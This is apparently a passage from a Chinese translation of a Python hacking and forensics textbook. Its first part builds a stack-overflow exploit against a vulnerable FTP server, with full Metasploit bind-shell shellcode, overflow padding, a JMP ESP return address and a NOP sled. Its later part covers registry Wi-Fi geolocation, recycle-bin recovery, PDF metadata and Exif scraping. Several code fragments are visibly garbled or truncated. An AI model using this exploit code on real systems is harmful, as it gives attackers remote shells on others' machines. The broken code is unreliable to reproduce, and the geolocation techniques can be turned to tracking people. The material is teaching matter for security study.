类攻击的成功是因为程序验证用户输入的失败所导致。尽管 Morris 蠕虫在 1988 年利用了堆栈缓冲区溢出漏洞,直到 1996 年 Elias Levy 才发表了一篇学 术论文为“Smashing the Stack for Fun and Profit”在 Phrack 杂志上。如 果你对堆栈缓冲区溢出攻击的原理不熟悉的话,想了解更多,可以仔细阅读这 篇文章。就我们的目的而言,我们会花时间讲解堆栈缓冲区溢出攻击的关键技 术。 基于堆栈的缓冲区溢出攻击 对于堆栈缓冲区溢出来说,未经检查的用户数据覆盖了下一个指令 EIP 从而控 制程序的流程。Exploit 直接将 EIP 寄存器指向攻击者插入 ShellCode 的位置。 一系列的机器代码 ShellCode 能允许 exploit 在目标系统里增加用户,连接攻 击者或者下载一个独立的可执行文件。ShellCode 有无尽的可能性存在,完全 取决于内存空间的大小。 在存在很多种编写 exploit 方法的今天,基于堆栈缓冲区溢出的方法提供了原 始的 exploit 向量。而且大量的 exploit 还在增加。2011 年 7 月,我的一个朋 友发布了一个针对脆弱的 FTP 服务器的 exploit。虽然开发 exploit 似乎是一个 很复杂的任务,但实际的攻击代码却少于 80 行(包含约 30 行的 shell 代码)。 添加攻击的关键元素 让我们开始构建我们的 exploit 的关键元素。首先我们设置我们的 shellcode 变量包含 Metasploit 框架为我们生成的十六进制编码的攻击荷载。 接下来我们设置我们的溢出变量包含 246 个字母 A 的实例(16 进制为\x41)。 我们返回的地址变量指向一个 kernel.dll 地址,包含了一个直接跳到栈顶端的 指令。我们填充包含一系列 150 个 NOP 指令的变量。这构建了我们的 NOP 滑铲。最后我们集合所有的变量组成一个变量,我们称为碰撞。 基于堆栈缓冲区溢出 exploit 的基本要素 溢出:用户的输入超过了预期在栈中分配的值。 返回地址:被用来直接跳转到栈顶端的 4 个字节的地址。在接下来的 exploit 中,我们用 4 个字节的地址指向 kernel.dll 的 JMP ESP 指令。 填充物:在 shellcode 之前的一系列的 NOP(空指令)指令。允许攻击者猜测直 接跳到的地址。如果攻击者跳到 NOP 滑铲的任何地方,它将直接滑到 shellcode。 Shellcode:一小段汇编机器码。在下面的例子中,我们将利用 Metasploit 生 成 Shellcode 代码。 shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4 \x5d\x33\xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" "\xba\x1e\x53\x31") overflow = "\x41" * 246 ret = struct.pack(' "% sys.argv[0] + "\r" print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick." print "[-]Other options: AUTH, APPE, ALLO, ACCT" sys.exit(0) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2: platform = sys.argv[2] #./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20" #[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33 \xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4 \x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\ xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd \xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\ xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19 \x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\ xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae \x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb \x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\ x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\x df" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\ x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\ x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x2 2\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5 \x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16 \x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33 \xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b \xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\ xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\ xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\ xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x 30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd \x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49 \x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\ x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x5 3\x10" "\xba\x1e\x53\x31") #7C874413 FFE4 JMP ESP kernel32.dll ret = struct.pack(' 本章总结 恭喜你!在我们的渗透测试中我们可以使用我们自己编写的工具。我们通过编 写我们自己的端口扫描器开始,然后审查 SSH,FTP,SMB 协议的攻击方法, 最后我们用 Python 构建了我们自己的 0day exploit。 我希望你在无穷无尽的渗透测试中自己编写代码。为了推进和提高我们的渗透 测试,我们已经展示了 Python 脚本背后的基础知识。现在我们有一个更好的 了解 Python 的机会,让我们研究一下怎样编写用于法庭调查取证的脚本。 第 3 章:法庭调查取证 本章内容: 1.通过 Windows 注册表定位 2.回收站调查 3.审查 PDF 和 DOC 文件的元数据 4.从 Exif 元数据中提取 GPS 坐标 5.探究 Skype 结构 6.从火狐的数据库中枚举浏览器结构 7.审查移动设备结构 最终,你必须忘记技术。你越是进步,教导的也就越少,伟大的路 是没有真正的道路的。 ---Ueshiba Morihei, Kaiso, Founder, Aikido 简介:如何解决 BTK 谋杀案 BTK 谋杀案及其调查取证过程略。 计算机取证调查只需要好的调查员和他的好工具。调查员往往有很多挑剔的问 题,但没有工具能解决他们的问题。进入 Python。在前几章我们看到,解决复 杂的问题只用极少的代码证明了 Python 编程语言的实力。正如我们将在下面章 节中看到的,我们能用极少数的 Python 代码解决复杂的问题。让我们开始用一 些独特的 Windows 注册表来物理跟踪用户吧。 你去哪里了?---在注册表中分析无线接入点 Windows 注册表包含了一个存储操作系统配置设置的层次化数据库。随着无线 网的出现,Windows 注册表存储了与无线连接相关的信息。了解注册表键值的 位置和意义可以为我们提供详细的笔记本到过的地理位置。从 Windows Vista 之后,注册表存储每一个网络信息在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\Curren tVersion\NetworkList\Signatures\Unmanaged 子键值下。从 Windows 命令提示符,我们可以列出每一个网络显示描述 GUID,网络描述, 网络名称和网关 MAC 地址。 C:\Windows\system32>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" /s HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Sign atures\Unmanaged\010103000F0000F0080000000F0000F04BCC23 60E4B8F7DC8BDAF AB8AE4DAD8 62E3960B979A7AD52FA5F70188E103148 ProfileGuid REG_SZ {3B24CE70-AA79-4C9A-B9CC- 83F90C2C9C0D} Description REG_SZ Hooters_San_Pedro Source REG_DWORD 0x8 DnsSuffix REG_SZ FirstNetwork REG_SZ Public_Library DefaultGatewayMac REG_BINARY 00115024687F0000 使用 WinReg 读取 Windows 注册表 注册表存储的网关 MAC 地址作为 REG_BINARY 类型。在前面的例子中,16 进 制\x00\x11\x50\x24\x68\x7F\x00\x00 表示的实际地址为 00:11:50:24:68:7F。 我们将写一个快速的函数将 REG_BINARY 的值转换为实际的 MAC 地址。在后 面我们将会看到无线网络的 MAC 地址是有用的。 def val2addr(val): addr = "" for ch in val: addr += ("%02x "% ord(ch)) addr = addr.strip(" ").replace(" ",":")[0:17] return addr 现在,让我们来编写一个函数从 Windows 注册表键值中获取每一个列出来的网 络的网络名称和 MAC 地址。为此,我们将利用_winreg 模块,Windows 版的 Python 默认安装的模块。连接到注册表后,我们可以使用 OpenKey()函数打开 键,并循环获取键下面的网络描述。对于每一个描述,包含下面子键: ProfileGuid, Description, Source, DnsSuffix, FirstNetwork, DefaultGatewayMac。网络名称和网关 MAC 地址在注册表键列表中的第四个和 第五个。现在我们可以枚举每一个键,并在屏幕上面打印出来。 把所有的组合在一起,现在我们有一个脚本将打印存储在注册表中的先前连接 的无线网络的信息。 # coding=UTF-8 import _winreg def val2addr(val): addr = "" for ch in val: addr += ("%02x "% ord(ch)) addr = addr.strip(" ").replace(" ",":")[0:17] return addr def printNets(): net = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, net) print '\n[*] Networks You have Joined.' for i in range(100): try: guid = _winreg.EnumKey(key, i) netKey = _winreg.OpenKey(key, str(guid)) (n, addr, t) = _winreg.EnumValue(netKey, 5) (n, name, t) = _winreg.EnumValue(netKey, 4) macAddr = val2addr(addr) netName = str(name) print '[+] ' + netName + ' ' + macAddr _winreg.CloseKey(netKey) except: break def main(): printNets() if __name__ == "__main__": main() 在我们的目标笔记本上运行我们的脚本,我们可以看到先前连接过的无线网络 及其 MAC 地址。当测试脚本时,确保使用管理员权限运行的脚本,否则将无法 读取注册表键值。 C:\Users\investigator\Desktop\python discoverNetworks.py [*] Networks You have Joined. [+] Hooters_San_Pedro, 00:11:50:24:68:7F [+] LAX Airport, 00:30:65:03:e8:c6 [+] Senate_public_wifi, 00:0b:85:23:23:3e 使用 Mechanize 将 MAC 地址提交到 Wigle 然而,脚本不会在次结束。随着获得无线接入点的 MAC 地址,我们现在开可以 打印出无线接入点的物理位置。有相当多的数据库,包括开源的和专有的,包 含了大量与无线接入点物理位置相关的信息。专利产品,如手机就是使用这样 的地理位置的数据库而没有使用 GPS。 SkyHook 数据库,可以在 http://www.skyhookwireless.com/找到。提供了一个 基于 WIFI 接入点的软件开发工具包。Ian McCracken 开发的一个开源项目提供 了提供了对这个数据库的访问能力在 http://code.google.com/p/maclocate/网 站。然而,最近,SkyHook 改变了 SDK 而是使用 API 密钥来使用数据库。 Google 也维护这同样大的数据库用于关联无线接入点的 MAC 地址到物理位置。 然而,不久后,不久后,Gorjan Petrovski 开发了一个 NMAP NSE 脚本来和 Google 的数据库进行交互。Google 反对开源代码和他的数据库进行交互。不 久之后,由于隐私问题,微软也关闭了类似的 WIFI 物理位置数据库。 剩下的数据库和开源项目 WiGLE.net 继续允许用户通过无线接入点的搜索物理 位置。注册一个账号之后,用户就能通过一个小的 Python 脚本和 wigle.net 进 行交互。让我们快速检查如何建立一个脚本与 WiGLE.net 交互。 使用 WiGLE. Net,用户很快就会意识到为了得到 WiGLE 他必须与第三方的页面 进行交互。首先,用户必须打开 WiGLE.net 的初始化页面在 https://wigle.net/网页;然后用户必须登陆到 WiGLE 在 https://wigle.net/页面。 最后,用户可以查询特定的无线 SSID 的 MAC 地址在 https://wigle.net/页面。 捕获 MAC 地址查询请求,我们可以看到在请求无线接入点的 GPS 地址的 HTTP POST 请求中 tnetid(网络标识符)包含了 MAC 地址。 POST /gps/gps/main/confirmquery/ HTTP/1.1 Accept-Encoding: identity Content-Length: 33 Host: wigle.net User-Agent: AppleWebKit/531.21.10 Connection: close Content-Type: application/x-www-form-urlencoded netid=0A%3A2C%3AEF%3A3D%3A25%3A1B <..SNIPPED..> 此外,我们看到从页面响应的数据中包含了 GPS 坐标。字符串 maplat=47.25264359&maplon=-87.25624084 包含了接入点的经度和纬度。 Get Map 0A:2C:EF:3D:25:1BMcDonald's FREE Wifi< 有了这些信息,我们现在足够建立建立一个简单的函数用来返回 WiGLE 数据库 中记录的无线接入点的的经度和纬度。注意,要使用 mechanize 模块。可以从 http://wwwsearch.sourceforge.net/mechanize/网站获得该模块。mechanize 允 许通过 Python 进行 WEB 状态编程,类似于 urllib2 模块的功能。这就意味着, 一旦我们正常的登陆到 WiGLE 服务,它就会存储和重用我们的验证 cookie。 import mechanize, urllib, re, urlparse def wiglePrint(username, password, netid): browser = mechanize.Browser() browser.open('http://wigle.net') reqData = urllib.urlencode({'credential_0': username, 'credential_1': password}) browser.open('https://wigle.net/gps/gps/main/login', reqData) params = {} params['netid'] = netid reqParams = urllib.urlencode(params) respURL = 'http://wigle.net/gps/gps/main/confirmquery/' resp = browser.open(respURL, reqParams).read() mapLat = 'N/A' mapLon = 'N/A' rLat = re.findall(r'maplat=.*\&', resp) if rLat: mapLat = rLat[0].split('&')[0].split('=')[1] rLon = re.findall(r'maplon=.*\&', resp) if rLon: mapLon = rLon[0].split print('[-] Lat: ' + mapLat + ', Lon: ' + mapLon) 添加 WiGLE MAC 地址查询功能到我们原来的脚本。我们现在有能力检查注册 表中以前连接过的无线接入点并查询他们的物理位置。 # coding=UTF-8 import optparse import mechanize import urllib import re import _winreg def val2addr(val): addr = "" for ch in val: addr += ("%02x " % ord(ch)) addr = addr.strip(" ").replace(" ", ":")[0:17] return addr def wiglePrint(username, password, netid): browser = mechanize.Browser() browser.open('http://wigle.net') reqData = urllib.urlencode({'credential_0': username, 'credential_1': password}) browser.open('https://wigle.net/gps/gps/main/login', reqData) params = {} params['netid'] = netid reqParams = urllib.urlencode(params) respURL = 'http://wigle.net/gps/gps/main/confirmquery/' resp = browser.open(respURL, reqParams).read() mapLat = 'N/A' mapLon = 'N/A' rLat = re.findall(r'maplat=.*\&', resp) if rLat: mapLat = rLat[0].split('&')[0].split('=')[1] rLon = re.findall(r'maplon=.*\&', resp) if rLon: mapLon = rLon[0].split print('[-] Lat: ' + mapLat + ', Lon: ' + mapLon) def printNets(username, password): net = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, net) print '\n[*] Networks You have Joined.' for i in range(100): try: guid = _winreg.EnumKey(key, i) netKey = _winreg.OpenKey(key, str(guid)) (n, addr, t) = _winreg.EnumValue(netKey, 5) (n, name, t) = _winreg.EnumValue(netKey, 4) macAddr = val2addr(addr) netName = str(name) print('[+] ' + netName + ' ' + macAddr) wiglePrint(username, password, macAddr) _winreg.CloseKey(netKey) except: break def main(): parser = optparse.OptionParser("usage%prog -u -p ") parser.add_option('-u', dest='username', type='string', help='specify wigle password') parser.add_option('-p', dest='password', type='string', help='specify wigle username') (options, args) = parser.parse_args() username = options.username password = options.password if username == None or password == None: print(parser.usage) exit(0) else: printNets(username, password) if __name__ == '__main__': main() 运行我们的新脚本,我们可以看到先前连接过的无线网络和他们的物理位置。 知道了计算机在哪,让我们在下一节检查一下回收站。 C:\Users\investigator\Desktop\python discoverNetworks.py [*] Networks You have Joined. [+] Hooters_San_Pedro, 00:11:50:24:68:7F [-] Lat: 29.55995369, Lon: -98.48358154 [+] LAX Airport, 00:30:65:03:e8:c6 [-] Lat: 28.04605293, Lon: -82.60256195 [+] Senate_public_wifi, 00:0b:85:23:23:3e [-] Lat: 44.95574570, Lon: -93.10277557 用 Python 来恢复回收站中删除的项目 在微软的操作系统中,回收站作为一个特殊的文件夹包含了已经删除的文件。 当用户通过 Windows Explorer 删除文件时,操作系统会将这个文件移动到这个 特殊的文件夹中并标记这文件已删除,但是并不是实际上的删除它们。在 Windows 98 和更早的系统中用的是 FAT 文件系统。C:\Recycled\目录保存着回 收站目录。支持 NTFS 的操作系统有 Windows NT,2000,和 XP 存储回收站在 C:\Recycler\目录下。Windows Vista 和 Windows 7 系统存储在 C:\$Recycle.Bin 目录下。 使用 OS 模块查找已删除的项目 为了让我们的脚本不依赖与特定的 Windows 操作系统,让我们编写一个函数来 测试每一个可能的候选目录并返回系统上存在的第一个目录。 import os def returnDir(): dirs = ['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\\'] for recycleDir in dirs: if os.path.isdir(recycleDir): return recycleDir return None 在发现回收站目录之后,我们需要检查里面的内容。注意两个子目录,它们都 包含字符串 S-1-5-21-1275210071-1715567821-725345543-并终止与 1005 或 者 500。这个字符串用户的 SID,与机器上的用户的账户一一相对应。 C:\RECYCLER>dir /a Volume in drive C has no label. Volume Serial Number is 882A-6E93 Directory of C:\RECYCLER 04/12/2011 09:24 AM . 04/12/2011 09:24 AM .. 04/12/2011 09:56 AM S-1-5-21-1275210071-1715567821- 725345543- 1005 04/12/2011 09:20 AM S-1-5-21-1275210071-1715567821- 725345543- 500 0 File(s) 0 bytes 4 Dir(s) 30,700,670,976 bytes free 用 Python 将用户的 SID 关联起来 我们将使用 Windows 注册表将 SID 转化为一个准确的用户名。通过检查 Windows 注册表键值 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\\ProfileImagePath,我们可以看到它返回 一个是%SystemDrive%\Documents and Settings\。在下图中,我 们看到这允许我们将 SID 为 S-1-5-21-1275210071-1715567821-725345543- 1005 转化为用户名“alex”。 C:\RECYCLER>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\Curre ntVersion\ProfileList\S-1-5-21-1275210071-1715567821- 725345543-1005" /v ProfileImagePath ! REG.EXE VERSION 3.0 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList \S-1-5-21-1275210071-1715567821- 725345543-1005 ProfileImagePath REG_EXPAND_SZ %SystemDrive%\Documents and Settings\alex 我们想知道回收站里谁删除了什么文件。让我们编写一个小的函数来将每一个 SID 转化为用户名。当我们恢复回收站中被删除的项目时这将使我们打印更多 有用的输出。这个函数将打开注册便检查 ProfileImagePath 键值,找到其值并 从中找到用户名。 import _winreg def sid2user(sid): try: key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\\" + sid) (value, type) = _winreg.QueryValueEx(key, 'ProfileImagePath') user = value.split('\\')[-1] return user except: return sid 最后,我们将所有的代码放在一起生成一个脚本,它将打印已删除但还在回收 站中的项目。 # coding=UTF-8 import os import _winreg def returnDir(): dirs = ['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\\'] for recycleDir in dirs: if os.path.isdir(recycleDir): return recycleDir return None def sid2user(sid): try: key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\\" + sid) (value, type) = _winreg.QueryValueEx(key, 'ProfileImagePath') user = value.split('\\')[-1] return user except: return sid def findRecycled(recycleDir): dirList = os.listdir(recycleDir) for sid in dirList: files = os.listdir(recycleDir + sid) user = sid2user(sid) print('\n[*] Listing Files For User: ' + str(user)) for file in files: print('[+] Found File: ' + str(file)) def main(): recycledDir = returnDir() findRecycled(recycledDir) if __name__ == '__main__': main() 在目标机器上运行我们的脚本,我们看到脚本发现了两个用户: Administrator 和 alex。它列出了回收站中每个用户的文件。在下一节中,我们 将审查一个方法,用于检查那些包含在调查中可能有用的文件的内部内容。 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\>python dumpRecycleBin.py [*] Listing Files For User: alex [+] Found File: Notes_on_removing_MetaData.pdf [+] Found File: ANONOPS_The_Press_Release.pdf [*] Listing Files For User: Administrator [+] Found File: 192.168.13.1-router-config.txt [+] Found File: Room_Combinations.xls C:\Documents and Settings\john\Desktop> 元数据 在本节中,我们将编写一个脚本用来从文件中提取元数据。文件不是清晰可见 的对象,元数据可以存在于文档,电子表格,图像,音频和视频等文件类型中。 创作应用程序可能会存储一些细节如文件的作者,创建和修改时间,潜在的修 订和注释。例如,拍照手机可以标记本地的 GPS 在照片中或者微软的 Word 应 用程序可以存储文档的作者。检查每一个文件是个艰难的任务,我们可以使用 Python 自动处理。 Anonymous 的元数据失败 2010 年 12 月 10 日,黑客组织 Anonymous 发布了一份声明稿,描述了最近一 次命名为 Operation Payback 攻击的背后的动机。因为对公司不支持维基解密 而感到愤怒,从而对有关公司进行分布式拒绝服务攻击(DDOS)报复。黑客发布 的声明稿没有签名,没有来源。是一个 PDF 文件,但是发行时包含元数据。被 创建文档的程序添加进的元数据包含作者的名字 Mr. Alex Tapanaris。几天内, 警方逮捕了他。 使用 PyPDF 解析 PDF 元数据 让我们快速创建一个脚本对被逮捕的黑客组织 Anonymous 的成员用过的文档 进行法庭调查取证。Wired.com 还保留着 ANONOPS_The_Press_Release.pdf 那份文档。我们可以从使用 wget 下载这份 文档开始。 forensic:∼# wget http://www.wired.com/images_blogs/threatlevel/2010/12/ANON OPS_The_ Press_Release.pdf --2012-01-19 11:43:36-- http://www.wired.com/images_blogs/threatlevel/2010/12/ANON OPS_The_ Press_Release.pdf Resolving www.wired.com... 64.145.92.35, 64.145.92.34 Connecting to www.wired.com|64.145.92.35|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 70214 (69K) [application/pdf] Saving to: 'ANONOPS_The_Press_Release.pdf.1' 100%[===================================== ============= ================================>] 70,214 364K/s in 0.2s 2012-01-19 11:43:39 (364 KB/s) - 'ANONOPS_The_Press_Release.pdf' saved [70214/70214] PyPDF 是一个优秀的第三方管理 PDF 文件很实用的库,可以从网站 http://pybrary.net/pyPdf/获得。它提供了文档的信息提取,分割,合并,加密 和解密的能力。为了提取元数据,我们使用函数 getDocumentInfo()。这个方 法返回一个元组数组,每一个元组包含一个元数据元素和它的值。遍历这个数 组并打印 PDF 文件的全部元数据。 import pyPdf from pyPdf import PdfFileReader def printMeta(fileName): pdfFile = PdfFileReader(file(fileName, 'rb')) docInfo = pdfFile.getDocumentInfo() print('[*] PDF MetaData For: ' + str(fileName)) for metaItem in docInfo: print('[+] ' + metaItem + ':' + docInfo[metaItem]) 添加一个选项分析器来识别特定的文件,我们有一个工具可以识别嵌入到 PDF 中的元数据。同样,我们可以修改我们的脚本来测试特定的元数据,例如 特定的用户。当然,这有可能帮助执法管来搜索文件来列出作者名字。 # coding=UTF-8 import pyPdf from pyPdf import PdfFileReader import optparse def printMeta(fileName): pdfFile = PdfFileReader(file(fileName, 'rb')) docInfo = pdfFile.getDocumentInfo() print('[*] PDF MetaData For: ' + str(fileName)) for metaItem in docInfo: print('[+] ' + metaItem + ':' + docInfo[metaItem]) def main(): parser = optparse.OptionParser('usage %prog -F ') parser.add_option('-F', dest='fileName', type='string', help='specify PDF file name') (options, args) = parser.parse_args() fileName = options.fileName if fileName == None: print(parser.usage) exit(0) else: printMeta(fileName) if __name__ == '__main__': main() 指定 Anonymous 发布的声明高运行我们的脚本,我们可以看到同样的元数据 导致警方逮捕了 Mr. Tapanaris。 forensic:∼# python pdfRead.py -F ANONOPS_The_Press_Release.pdf [*] PDF MetaData For: ANONOPS_The_Press_Release.pdf [+] /Author:Alex Tapanaris [+] /Producer:OpenOffice.org 3.2 [+] /Creator:Writer [+] /CreationDate:D:20101210031827+02'00' 理解 Exif 元数据 (Exif 是一种图象文件格式,它的数据存储与 JPEG 格式是完全相同的。实际上 Exif 格式就是在 JPEG 格式头部插入了数码照片的信息,包括拍摄时的光圈、快 门、白平衡、ISO、焦距、日期时间等各种和拍摄条件以及相机品牌、型号、 色彩编码、拍摄时录制的声音以及全球定位系统(GPS)、缩略图等。简单地 说,Exif=JPEG+拍摄参数。因此,你可以利用任何可以查看 JPEG 文件的看图 软件浏览 Exif 格式的照片,但并不是所有的图形程序都能处理 Exif 信息。) 交换图像文件格式(Exif)标准的定义了如何存储图像和视频文件的规范。如数码 相机,扫描仪和智能手机使用这个标准来保存图像和视频文件。Exif 标准文件 包含了几个对法庭调查取证有用的信息。Phil Harvey 编写了一个实用的工具名 叫 exiftool(从 http://www.sno.phy.queensu.ca/~phil/exiftool/可获得)能解析这 些参数。检查所有的 Exif 参数可能会返回几页的信息,所以我们只检查部分需 要的参数信息。注意 Exif 参数包含相机型号名称 iPhone 4S 以及图像实际的 GPS 经纬度坐标。这些信息在组织图像是很有帮助的。比如说,Mac OS X 应用 程序 iPhoto 使用位置信息来整齐的排列世界地图上的照片。然而,这些信息也 被大量的恶意的使用。想象一个士兵将 Exif 照片放到博客或网站上,敌人可以 下载所有的照片几秒钟之类便可以知道士兵的调动信息。在下面的章节中,我 们将建立一个脚本来连接 WEB 网站,下载图像,并检查他们的 Exif 元数据。 investigator$ exiftool photo.JPG ExifTool Version Number : 8.76 File Name : photo.JPG Directory : /home/investigator/photo.JPG File Size : 1626 kB File Modification Date/Time : 2012:02:01 08:25:37-07:00 File Permissions : rw-r--r-- File Type : JPEG MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) Make : Apple Camera Model Name : iPhone 4S Orientation : Rotate 90 CW <..SNIPPED..> GPS Altitude : 10 m Above Sea Level GPS Latitude : 89 deg 59' 59.97" N GPS Longitude : 36 deg 26' 58.57" W <..SNIPPED..> 使用 BeautifulSoup 下载图像 可以从 www.crummy.com/software/BeautifulSoup/获得 BeautifulSoup。 BeautifulSoup 允许我们快速的解析 HTML 和 XML 文档。更新 BeautifulSoup 到 最新版本,并使用 easy_install 获取安装 BeautifulSoup 库。 investigator:∼# easy_install beautifulsoup4 Searching for beautifulsoup4 Reading http://pypi.python.org/simple/beautifulsoup4/ <..SNIPPED..> Installed /usr/local/lib/python2.6/dist-packages/beautifulsoup4- 4.1.0- py2.6.egg Processing dependencies for beautifulsoup4 Finished processing dependencies for beautifulsoup4 在本节中,我们将使用 BeautifulSoup 来抓取 HTML 文档的内容来获取文档中所 有的图像。注意,我们使用 urllib2 打开文档并读取它。接下来我们可以创造 BeautifulSoup 对象或者一个包含不同 HTML 文档对象的解析树。用这样的对象, 我么可以提取所有的图像标签,通过使用 findall(‘img’)函数,这个函数返回一 个包含所有图像标签的数组。 import urllib2 from bs4 import BeautifulSoup def findImages(url): print('[+] Finding images on ' + url) urlContent = urllib2.urlopen(url).read() soup = BeautifulSoup(urlContent) imgTags = soup.findAll('img') return imgTags 接下来,我们需要从网站中下载每一个图像,然后在单独的函数中进行检查。 为了下载图像,我们将用到 urllib2,urlparse 和 os 模块。首先,我们从图像标 签中提取源地址,接着我们读取图像的二进制内容到一个变量,最后我们以写- 二进制模式打开文件将图像内容写入文件。 import urllib2 from urlparse import urlsplit from os.path import basename def downloadImage(imgTag): try: print('[+] Dowloading image...') imgSrc = imgTag['src'] imgContent = urllib2.urlopen(imgSrc).read() imgFileName = basename(urlsplit(imgSrc)[2]) imgFile = open(imgFileName, 'wb') imgFile.write(imgContent) 